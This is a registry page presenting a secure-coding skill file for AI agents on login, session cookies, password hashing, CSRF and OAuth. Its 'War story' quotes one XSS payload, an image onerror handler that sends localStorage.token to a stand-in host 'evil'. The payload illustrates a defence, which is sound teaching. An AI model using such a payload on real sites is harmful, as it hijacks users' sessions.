agentleFS
suhailkakarsuhailkakar/the-skills/auth-and-sessions/SKILL.md

auth-and-sessions

Skill26 starsChanged 6 months agoMITView on GitHub

Use when the user is wiring login, signup, logout, OAuth, JWTs, session cookies, "remember me", password reset, magic links, or token storage. Covers httpOnly cookies vs localStorage, CSRF, session rotation, password hashing, logout-everywhere.

The file

We split this skill into the rules it gives an agent

5 rules. About 0 are common, 3 are distinctive, and 2 are very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈3

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 2

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    If the user is hand-rolling: the rules below are non-negotiable.

    line 23
  2. Very specific:

    Never store plaintext. Never use MD5/SHA-1/SHA-256 for passwords — they're fast by design, which is wrong for password hashing.

    line 66
  3. Distinctive:

    After login, after password change, after MFA enrollment, after role escalation: issue a new session ID and invalidate the old.

    line 70
  4. Very specific:

    Always validate state on callback (CSRF for the OAuth handshake)

    line 116
  5. Distinctive:

    Use PKCE for public clients (mobile, SPA) — and for confidential clients too, it's free

    line 117

≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

Auth & Sessions

When to use

  • Building login / signup / logout / password reset / magic link flows
  • Issuing or verifying JWTs, session tokens, or refresh tokens
  • Choosing where to store tokens (cookie? localStorage? memory?)
  • Wiring OAuth / OIDC / SSO with a provider
  • Adding "remember me" or device-management features

When to skip

  • The app uses a managed auth provider (Clerk, WorkOS, Auth0, Supabase Auth, better-auth) and the user is just calling its SDK — defer to provider docs
  • Pure read-only public pages with no auth at all

Default to a managed provider

In 2026, hand-rolling auth is rarely the right call. Default to better-auth, Clerk, WorkOS, Lucia (with care — check maintenance status), Supabase Auth, or Auth.js v5. Hand-roll only if there's a real reason (regulatory, custom IdP, learning exercise).

If the user is hand-rolling: the rules below are non-negotiable.

The rules

1. Tokens go in httpOnly cookies. Not localStorage.

// BAD — XSS reads the token in one line of injected JS
localStorage.setItem('token', jwt)

// GOOD — cookie is invisible to JS
cookies.set('session', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax',
  path: '/',
  maxAge: 60 * 60 * 24 * 7, // 7 days
})

Why: any XSS — a single broken dangerouslySetInnerHTML, a compromised npm package — can drain localStorage in one line. httpOnly cookies are unreachable to JS.

2. sameSite: 'lax' minimum. 'strict' if you can.

lax blocks cross-site POSTs (most CSRF). strict blocks even top-level cross-site GETs (breaks OAuth redirects — use lax for the auth cookie, strict for sensitive action cookies).

3. Use opaque session IDs in the cookie. Not raw JWTs (usually).

Store a random ID in the cookie; look up the session record in your DB/Redis. Lets you revoke instantly (logout-everywhere, security incident). Stateless JWTs cannot be revoked without a denylist — and a denylist is just a stateful session store with worse ergonomics.

JWTs are appropriate for short-lived access tokens between services, not for browser sessions.

4. Hash passwords with argon2id. Bcrypt is acceptable. SHA-anything is not.

import { hash, verify } from '@node-rs/argon2'
const passwordHash = await hash(password, {
  memoryCost: 19_456, // 19 MiB
  timeCost: 2,
  parallelism: 1,
})

Never store plaintext. Never use MD5/SHA-1/SHA-256 for passwords — they're fast by design, which is wrong for password hashing.

5. Rotate the session ID on privilege change.

After login, after password change, after MFA enrollment, after role escalation: issue a new session ID and invalidate the old. Prevents session fixation.

6. Logout invalidates server-side. Always.

// BAD — only clears the cookie. The token still works if stolen.
cookies.delete('session')

// GOOD
await db.session.delete({ where: { id: sessionId } })
cookies.delete('session')

7. CSRF: sameSite: 'lax' + double-submit token, or use Server Actions.

Next.js Server Actions and Remix actions have built-in CSRF protection via origin checks. If you expose a plain POST /api/... that uses cookie auth, add a CSRF token (double-submit pattern) on top of sameSite: 'lax'.

8. Magic links and password reset tokens: single-use, short-lived, hashed at rest.

// Store hash(token), not token. Send token via email.
const token = randomBytes(32).toString('hex')
await db.resetToken.create({
  data: { userIdHash: hash(token), expiresAt: addMinutes(new Date(), 15) },
})
// Then: lookup by hash, mark used after redemption, never log the token

9. Rate-limit the auth endpoints. Hard.

Login, signup, password reset, MFA verify — all are credential-stuffing and brute-force targets. Per-IP and per-account limits. Lockouts with exponential backoff. See api-route-hardening.

10. Email enumeration: same response for "user exists" and "user doesn't."

// BAD
if (!user) return { error: 'No account with that email' }
if (!validPassword) return { error: 'Wrong password' }

// GOOD
if (!user || !validPassword) return { error: 'Invalid credentials' }
// And: send the password-reset email regardless of whether the email exists

OAuth specifics

  • Always validate state on callback (CSRF for the OAuth handshake)
  • Use PKCE for public clients (mobile, SPA) — and for confidential clients too, it's free
  • Validate id_token signature, iss, aud, exp, nonce — do not trust the provider's redirect blindly
  • Store the provider's sub (subject), not the email, as the stable identity key

War story

A "build in public" SaaS stored JWTs in localStorage and shipped a markdown renderer that didn't sanitize images. A user submitted a profile bio with <img src=x onerror="fetch('https://evil/x?t='+localStorage.token)">. Every other user who viewed that profile leaked their session. Took down all paid customers' accounts. Two-line fix (httpOnly cookie + sanitizer) prevented by being made on day one.

Quick checklist

  • Tokens in httpOnly, secure, sameSite: 'lax' cookies — never localStorage
  • Opaque session ID, not raw JWT, for browser sessions
  • Passwords hashed with argon2id (or bcrypt as fallback)
  • Session ID rotated on login / password change / privilege escalation
  • Logout deletes the server-side session
  • CSRF protection (Server Actions, or sameSite: 'lax' + double-submit token)
  • Reset/magic-link tokens hashed at rest, single-use, ≤15min TTL
  • Auth endpoints rate-limited per-IP and per-account
  • Same response for unknown email + wrong password

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.